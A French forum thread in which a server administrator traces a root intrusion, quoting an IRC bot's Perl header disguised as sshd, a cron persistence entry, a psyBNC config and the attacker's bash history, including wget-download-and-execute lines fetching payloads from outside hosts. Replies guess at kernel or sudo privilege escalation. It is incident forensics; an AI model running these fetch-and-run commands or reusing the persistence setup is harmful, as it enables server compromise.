# [rootkit] comment retrouver la porte d'entrée ? (résolu)

## digimag

Bonjour,

Cela m'est finalement arrivé, le serveur est infecté. J'ai vu un processus qui consommait 100 % du CPU dans top :

```
PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND

29352 root      20   0 32472 4192 1544 R 98.8  0.2  38792:57 perl
```

Et dans ps aux :

```
root     29347  0.0  0.0    828   548 ?        S    Jan13   0:29 -bash

root     29352 90.8  0.2  32472  4192 ?        R    Jan13 38754:57 /usr/sbin/sshd
```

J'ai fait exécuter rkhunter qui m'a signalé le dossier /var/tmp/.log comme étant potentiellement suspect.

Déjà, le contenu du dossier /var/tmp/.log ne laissait aucun doute, il y avait plein de scripts, c'était visiblement un bot IRC.

J'ai fait un scan avec maldetect sur le dossier, et voici sa réponse :

```
PATH: /var/tmp/.log/

TOTAL FILES: 327

TOTAL HITS: 1

TOTAL CLEANED: 0

NOTE: quarantine is disabled! set quar_hits=1 in conf.maldet or to quarantine results run: maldet -q 021112-2350.13461

FILE HIT LIST:

{HEX}perl.ircbot.Arabhack.55 : /var/tmp/.log/target
```

Début du fichier target :

```
!/usr/bin/perl

# this spreader is coded by xdh

# xdh@xxxxxxxxxxx

# only for testing...

my @nickname = ("PSY",

        "PSY");

my $nick = $nickname[rand scalar @nickname];

my $ircname = $nickname[rand scalar @nickname];

#system("kill -9 `ps ax |grep httpdse |grep -v grep|awk '{print $1;}'`");

my $processo = '/usr/sbin/sshd';

…
```

Il y avait aussi une tâche cron ajoutée au système :

```
* * * * * /var/tmp/.log/update >/dev/null 2>&1
```

```
# cat tmp/.log/update 

#!/bin/sh

if test -r /var/tmp/.log/psybnc.pid; then

pid=$(cat /var/tmp/.log/psybnc.pid)

if $(kill -CHLD $pid >/dev/null 2>&1)

then

exit 0

fi

fi

cd /var/tmp/.log

rm -rf target

./run &>/dev/null

# cat tmp/.log/run 

#!/bin/sh

export PATH=.

-bash
```

Et -bash est un binaire, je ne sais ce qu'il fait. Par contre son MD5 est d7cb8d530dd813f34bdcf1b6c485589b qui correspond au binaire psybnc.

psybnc.conf :

```
PSYBNC.SYSTEM.PORT1=3303

PSYBNC.SYSTEM.HOST1=*

PSYBNC.HOSTALLOWS.ENTRY0=*;*

USER1.USER.LOGIN=Bomfunk

USER1.USER.USER=danieL

USER1.USER.PASS==0M0o'=0I1z1u`x`V1H

…

USER1.USER.AWAYNICK=SoLdieR

USER1.USER.AWAY=^C2 ain`t no sunhine

USER1.USER.NICK=SoLdieR

USER1.SERVERS.SERVER1=tampa.fl.us.undernet.org

USER1.SERVERS.PORT1=6667

USER1.CHANNELS.ENTRY0=#Dersca
```

Mais la question que je me pose, c'est comment le script a-t-il été installé ? Je ne vois rien de spécial dans les logs nginx, pas de requêtes suspectes le 13 janvier.

Aussi, le fait que tous les fichiers soient installés sous le compte root est très troublant.

Ah ! Je vois dans bash_history :

```
w

cat /proc/cpuinfo

wget

ps x

cd /tmp

wget http://kanada.co/bnc.tgz ; tar zxvf bnc.tgz ; cd .font-unix ; chmod +x * ; ./go

cd /var/tmp

tar zxvf bnc.tgz

tar zxvf bnc.tar

wget http://www.grigoreworld.com/marius/bnc.jpg

tar zxvf bnc.jpg

rm -rf bnc.jpg

cd .log

./go

passwd

ps x
```

La p***… Il y avait bien quelqu'un qui s'est connecté sous le compte root !! Mais comment ?!

Je découvre la présence d'un autre fichier, /var/tmp/kanada.tar, qui contient également le bot IRC, daté du 3 janvier !

Hors mes logs auth.log ne remontent pas plus loin que le 8 janvier… quel dommage ! (je me demande s'ils n'ont pas été supprimés)

Et voici les IP des connexions qui ne m'appartiennent pas :

```

Jan 11 02:22:15 hstler sshd[23510]: Accepted password for root from 46.61.184.118 port 51438 ssh2

Jan 12 06:32:02 hstler sshd[16897]: Accepted password for root from 221.233.196.109 port 49163 ssh2

Jan 13 07:21:28 hstler sshd[28895]: Accepted password for root from 202.153.207.172 port 34876 ssh2

Jan 13 07:26:05 hstler sshd[29042]: Accepted password for root from 78.97.107.233 port 1492 ssh2

Jan 13 07:27:23 hstler sshd[29178]: Accepted password for root from 78.97.107.233 port 1494 ssh2
```

Pourtant, je m'authentifiais toujours avec avec une clef publique, et il me semble que j'avais supprimé et locké le mot de passe root dès le départ pour empêcher les connexions SSH root par mot de passe. De plus, dans la config SSHD, j'avias interdit les mots de passe vides.

----------

## digimag

Après l'examen de l'historique bash, j'avais bel et bien effacé et locké le mot de passe root bien avant le 3 janvier.

Et le fichier kanada.tar n'y figure pas, alors qu'il a aussi root pour propriétaire.

Ce n'était donc probablement pas une connexion ssh réussie par bruteforce. Mais quoi ? Les divers serveurs ne s'exécutent pas en tant que root…

----------

## netfab

 *digimag wrote:*   

> Ce n'était donc probablement pas une connexion ssh réussie par bruteforce. Mais quoi ? Les divers serveurs ne s'exécutent pas en tant que root…

 

A partir d'une faille quelconque, accès shell utilisateur --> faille kernel qui donne accès root --> changement du mot de passe root --> champagne

----------

## El_Goretto

 *netfab wrote:*   

>  *digimag wrote:*   Ce n'était donc probablement pas une connexion ssh réussie par bruteforce. Mais quoi ? Les divers serveurs ne s'exécutent pas en tant que root… 
> 
> A partir d'une faille quelconque, accès shell utilisateur --> faille kernel qui donne accès root --> changement du mot de passe root --> champagne

 

Yep, ya eu 2 exploits locaux retentissants permettant de passer root, parus le mois dernier: un niveau noyau, et un niveau sudo.

----------

## digimag

 *El_Goretto wrote:*   

>  *netfab wrote:*   A partir d'une faille quelconque, accès shell utilisateur --> faille kernel qui donne accès root --> changement du mot de passe root --> champagne Yep, ya eu 2 exploits locaux retentissants permettant de passer root, parus le mois dernier: un niveau noyau, et un niveau sudo.

 Ça pouvait être ça alors.

J'ai eu mon baptême de disque dur mort du jour au lendemain il y a six mois, et maintenant une intrusion sous root. Il est temps de réfléchir à nouveau à la sécurité…

----------

